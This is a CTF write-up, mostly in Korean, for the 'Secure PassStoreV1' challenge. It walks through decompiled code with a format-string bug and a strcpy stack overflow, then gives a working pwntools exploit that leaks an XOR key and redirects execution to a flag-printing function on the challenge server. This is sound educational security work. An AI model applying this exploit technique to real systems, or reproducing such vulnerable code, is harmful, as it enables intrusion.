InfoSec CTF 2022 - Secure PassStoreV1

Info

(8/219) solves

description

Try to use new superpuper secure command line password storage!

url: 0.cloud.chals.io:12367

for player

1
2
.
└── passStoreV1
1
passStoreV1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2349feff7fdc9215b7e1275413f61af630980a82, for GNU/Linux 3.2.0, not stripped

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

문제 풀다가 바이너리가 바뀌었다. =ㅅ= 원래 파이가 있었는데 파이가 사라졌다.

Source Code

1
2
3
4
5
6
7
8
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
welcome();
addName();
keyGen();
while ( 1 )
menu();
}

main은 이렇게 생겼다. welcome 함수는 볼 게 없어서 그 다음 함수부터 보자.

1
2
3
4
5
ssize_t addName()
{
puts("Please type your name: ");
return read(0, username, 0x20uLL);
}

전역 변수 username에 0x20 만큼 쓸 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int keyGen()
{
unsigned int seed; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

seed = time(0LL);
srand(seed);
puts("Some preparations....");
for ( i = 0; i <= 7; ++i )
key[i] = rand() % 26 + 97;
puts("Master key prepared!\nKey: ");
printf(key);
return puts("\n");
}

key를 출력해준다. 여기서 fsb가 발생할 수 있지만.. 컨트롤하기가 꽤 까다로워보인다. 아무튼 출력해주는 key를 뒤에서 어떻게 사용할까 생각하면서 일단 넘어간다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 menu()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h] BYREF

puts("Menu: ");
puts("1) Add password");
puts("2) Read password");
puts("3) Chage name");
puts("0) Exit");
__isoc99_scanf("%d", &v1);
if ( v1 == 3 )
return changeName();
if ( v1 <= 3 )
{
switch ( v1 )
{
case 2:
return readPass();
case 0:
puts("Bye Bye.... ");
exit(0);
case 1:
result = addPass();
encrypted = result;
return result;
}
}
puts("Try again...");
return menu();
}

menu 함수는 while을 통해 무한히 실행된다. 여기서 주목해야할 것이 3번메뉴 changeName 함수와 1번 메뉴 addPass 함수이다.

1
2
3
4
5
6
7
8
9
int changeName(void)
{
printf("Your name is ");
printf(username);
puts("Please type your name: ");
read(0, username, 0x20uLL);
printf("Your new name: ");
return printf(username); // fsb
}

먼저 changeName 함수. 대놓고 fsb가 터진다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *addPass(void)
{
char src[256]; // [rsp+0h] [rbp-230h] BYREF
char buf[256]; // [rsp+100h] [rbp-130h] BYREF
char dest[44]; // [rsp+200h] [rbp-30h] BYREF
int i; // [rsp+22Ch] [rbp-4h]

read(0, buf, 0x100uLL);
for ( i = 0; i <= 255; ++i )
{
if ( buf[i] == 10 )
{
src[i] = 10;
break;
}
src[i] = key[i % 8] ^ buf[i];
}
strcpy(dest, src); // bof
return strncpy(&encrypted, dest, 0x1FuLL);
}

addPass 함수. dest 크기가 44인데 여기다가 256 크기의 src를 복사한다. 대놓고 bof가 터지고 pie도 없다. flag를 출력해주는 함수도 존재하니 바로 흐름을 돌려주면 된다. 하지만 이 전에 src를 가공하니 exploit을 작성할 때 유의해줘야 한다.

Vulnerability

strcpy 함수는 복사할 때 길이 검증을 하지 않아 bof 발생 가능성이 존재한다. 이 문제에서 이로 인해 함수 흐름을 변경할 수 있는 가능성이 존재한다.

Exploit

Exploit Scenario

  1. key 값 leak
  2. payload 작성 후 addPass 함수의 로직 구현

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chall')
#p = process('./chall')
p = remote('0.cloud.chals.io', 12367)

p.recvuntil('name:')
p.sendline(b'AAAA')

p.recvuntil('Key: \r\n')
key = p.recvline()[:-2]
info(key)

#============

# p.sendlineafter('it\r\n', str(3))
# p.sendlineafter('name:', b'%7$p')

# p.recvuntil(': ')
# e.address = int(p.recv(14), 16) - 0x1543
# info(hex(e.address))

p.sendlineafter('it\r\n', str(1))

buf = b''
buf += b'A' * (0x30+0x8)
buf += p64(0x40162d)
buf += b'\n'

print(repr(key))
print(repr(buf))
src = []
for i in range(0, 255):
if buf[i] == 10:
break
#src[i] = key[i%8] ^ buf[i]
src.append(key[i%8] ^ buf[i])

src = bytes(src)
p.sendline(src)

p.interactive()

python3 bytes

1
2
3
4
5
6
7
8
9
>>> src = []
>>> src.append(1)
>>> src.append(2)
>>> src.append(3)
>>> src
[1, 2, 3]
>>>
>>> bytes(src)
b'\x01\x02\x03'

Flag

1
flag{hmmm...1_7h0u6h7_17_15_53cur3}